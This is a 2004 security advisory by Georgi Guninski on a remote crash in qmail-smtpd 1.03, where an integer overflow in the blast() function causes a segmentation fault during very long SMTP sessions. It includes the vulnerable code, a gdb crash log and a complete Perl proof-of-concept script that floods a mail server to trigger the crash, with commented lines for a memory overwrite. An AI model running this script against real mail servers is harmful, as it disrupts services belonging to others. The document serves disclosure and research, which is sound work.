Lame crash in qmail-smtpd,  yet still qmail much better than windows

cyrillic logo
Home
Security
Internet Explorer
Windows 2000
AIX
Netscape
Misc
Other
Links
Services
In the news
Random stuff
Contact
guninski@guninski.com

Georgi Guninski security advisory #65, 2004

Version 2.0 - corrects stuff from the original announcement.

Lame crash in qmail-smtpd and memory overwrite according to gdb, yet still qmail much better than windows

Systems affected:
qmail 1.03 on linux, don't know about other OSes.


Risk: Very low.
Date: 15 January 2004
Updated: 26 January.
Version 1 is not correct but available here

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/qmailcrash.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:
Actually there are two different problems:
a) It is possible to crash qmail-smtpd 1.03 from remote with a long SMTP
session. The crash is not global, it affects only the current SMTP session.

about a)
It is possible to trigger segmentation violation (SEGV) in qmail-smtpd  1.03
on linux from the network.

The problem is in:
void blast(hops)
int *hops;
...
int pos; /* number of bytes since most recent \n, if fih */
...
   if (pos < 9) {
        if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos]) flagmaybez = 0;
...
++pos;
...

When pos is incremented long enough, it becomes negative and the check
(pos<9) passes while pos is around 0x80000000.
Then "delivered"[pos] causes segmentation violation.

Don't know whether RFC compliant message can trigger this.

Here is a log of the crash:
./qma4.pl localhost 25
qmail-smtpd SEGV. Written by Georgi Guninski
Will connect to localhost:25 fromaddr=you@email touser=postmaster
length=2097152
...
<in another console>
ps awx | grep qmail-smtpd
1810 ?        R      0:06 qmail-smtpd

gdb attach 1810
GNU gdb
(gdb) cont
<wait>
Program received signal SIGSEGV, Segmentation fault.
0x0804937c in blast (hops=0xbffffd8c) at qmail-smtpd.c:321
321             if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos]) flagmaybez = 0;
(gdb) p pos
$1 = -2147483648
(gdb) p/x pos
$2 = 0x80000000
(gdb)

----qma4.pl----
#!/usr/bin/perl -w

#Copyright Georgi Guninski\nCannot be used in vulnerability databases and
#similar stuff

use IO::Socket;

my $port = $ARGV[1];
my $host = $ARGV[0];



my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || die "socket";

my $req = "HELO a\r\n";
my $fromaddr="you\@email";
my $touser="postmaster";

print "qmail-smtpd SEGV. Copyright Georgi Guninski\nCannot be used in vulnerability databases and similar stuff\nWill connect to ${host}:${port} fromaddr=${fromaddr} touser=${touser}\n";

$req .= "MAIL FROM: ${fromaddr}\r\n";
$req .= "RCPT TO: ${touser}\r\n";

$req .= "DATA\r\n";


$req .= "1234567890";

#my $x = "\ng" x 100;
#print $x;

syswrite($socket,$req,length($req));

my $l1= 1024*1024;
my $p1 = "gg" x $l1;
my $pl = 2*$l1;
print "length=${pl}\n";
my $towrite = $l1*2050;
my $wri = 0;
$req = $p1;
while ($wri < $towrite)
{
syswrite($socket,$req,$pl);
if ( ($wri % $l1) == 0) {print "written=" . $wri/$l1 . "\n";}
# !!! uncomment the following lines to get qmail memory screw on linux according to gdb
#if ($wri/$l1 == 2044)
#{
#syswrite($socket,"g\r\n",3);print "injected\n";
#};
$wri += $pl;
}

$req = "test\r\n";
$req .= ".\r\n";


syswrite($socket,$req,length($req));


while(<$socket>)
{
print $_;
}


close $socket;

--------------

Workaround: Not tested, but setting quota on the receiving email may help.

Vendor status:
djb@cr.yp.to was notified about a) on Mon, 12 Jan 2004 16:06:06 +0200
Message-Id: <200401121405.QAA06863@home.ntrl.net>
Didn't hear from him.
His qsecretary wanted me to not be spammer and i confirmed i am not a
spammer to:
To: "The qsecretary program" <djb-notbulkmail-22ecb0d6842839ad68e79ccb452a3f09@cr.yp.to>

Regards,
Georgi Guninski
http://www.guninski.com


 
 

| Home | Internet Explorer | Windows 2000 | AIX | Netscape | Links | More... |